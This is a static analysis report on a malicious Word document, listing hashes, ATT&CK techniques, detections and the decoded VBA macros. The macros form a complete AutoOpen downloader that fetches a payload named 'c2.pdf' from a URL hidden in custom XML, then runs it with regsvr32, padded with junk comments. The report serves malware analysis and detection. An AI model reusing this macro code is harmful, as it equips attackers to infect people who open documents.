Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bfd58b7d1017d895…

MALICIOUS

Office (OOXML)

116.5 KB Created: 2020-07-20 09:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 7f8c4c45de63e04c8e718fe1e905778f SHA-1: 1d4308e78ec43f9692c7ffdd14211b7fb2a3102f SHA-256: bfd58b7d1017d89586f7582891db297b5f75fa867ae282b6ed7329b168895bfa
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. The 'autoopen' macro is configured to execute, which then calls a 'download' function. This function is designed to download a file named 'c2.pdf' from a remote source, likely to execute a second-stage payload. The presence of AutoOpen, Shell(), and URLDownloadToFile heuristics strongly indicates a downloader functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Harmed
Shell wu & bn & "32 c2.pdf"
End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Wx As LongPtr, ByVal KZ As String, ByVal S6 As String, ByVal nc As LongPtr, ByVal X7 As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
RA = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4013 bytes
SHA-256: df92c1973b192dc27c31800ff5fb4ce7073c2a0b6b4692345a39419dc4361b55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nb"
Function q2(di)
    
' Convinces affected expenditure
' Move flake approximate
' Rebus handicap purposeful sir

' Already rueful vibrating
' Plumb infant templates fume
' Sonny apache odoriferous
' Una fir worlds

' Dozens private oblique havoc rooms israeli
' Suns afoot stated destroyer
' Worshipping hypotheses all-round nottingham
' Alto convex convoy dike shops
' Sic features cordless

' Hack sinewy
' Minuet nervous wheres biodiversity
' Legally consistently bid stages cgi
' Enhanced capitalist castilian stumble
' Install dummy coiffure requirement

' Navigate pine actions constellation
' Sherry
' Phoenician obtaining entered

' Golf self-defense pease trite motherly pass
' Princeton charon gasoline
End Function
Sub autoopen()
RA = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Centers alive wally
' Grandchild leprous
' Award bragging arrested reich
' Showers illusory guru subterfuge fog tinkle
' Dummy sao
' Tablespoon checked
' Charlie airfare required

' Stays previous inner partly
' Editorials aluminum meta
frm.download RA, "c2.pdf"

' Fairfield s situation
' Rejoinder notice
' Deadly roads designation

' Fears
' Peacock lightbox impetus ancient
' Addicted medicine bonfire
' Receivers thriller disrespect mongol

' Marche adapter orthodoxy

' So queenly obsequious upshot bend
' Fetid
' Rain southernmost rachel
' Transfer crystal surge
' Harmed
Shell wu & bn & "32 c2.pdf"
End Sub

Attribute VB_Name = "nb1"
Sub e4()

' Verbatim capitalism lebanon famished twaddle

' Analyzed
' Bitch juice mpg charlatan clamber
' Buzzing peaceful big sudan plash

' Imprint nudist experience
' Cds machinery nvidia pitiable recipe rock
' Science location internal westminster noxious

' Debtor roulette volunteers
' Northumberland tarn generally
' Turn cleansing investor wiltshire

' Participle
' Apposite auditory zoology scratch
' Switch moon
' Justin

' Plains
' Innings indemnification stabbing puppies concert

' Identifier fissure arroyo confidant

' Trill
' Tuneful specialist ponds
' Copied memorabilia resting-place division method

' Complimentary filter
' Erica surplice golf
' Explode menu tutorials circumstances
' Naples stubble
' Remarks pension bunsen often

' Expenditure ft mechanics annihilate wayne
' Miami th
' Afghanistan lunatic thered clyde
' Adjournment ones

' Visitation ana decoy caroline
' Drain portraits tribute shareholders ago
' Defendant footstool colourless contamination tabs

' Faraday
' Nbc resolve humdrum opportune
' Aide query wampum assisted feels open
' Gleefully
' Cars wisdom grunt
' Around infirm affably
End Sub

Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Wx As LongPtr, ByVal KZ As String, ByVal S6 As String, ByVal nc As LongPtr, ByVal X7 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Wx As Long, ByVal KZ As String, ByVal S6 As String, ByVal nc As Long, ByVal X7 As Long) As Long
#End If

Attribute VB_Name = "frm"
Attribute VB_Base = "0{CD9F2050-372F-4A9D-ACA0-F7129CEA5DE1}{8541CA07-51AC-4B81-9651-E09E7519A5E4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: f1e4fdff375f9aaf0c90ddba765601db5c8c589c82ddde10abcad4e0416edef0

Open this report in the interactive analyzer, or submit your own file for analysis.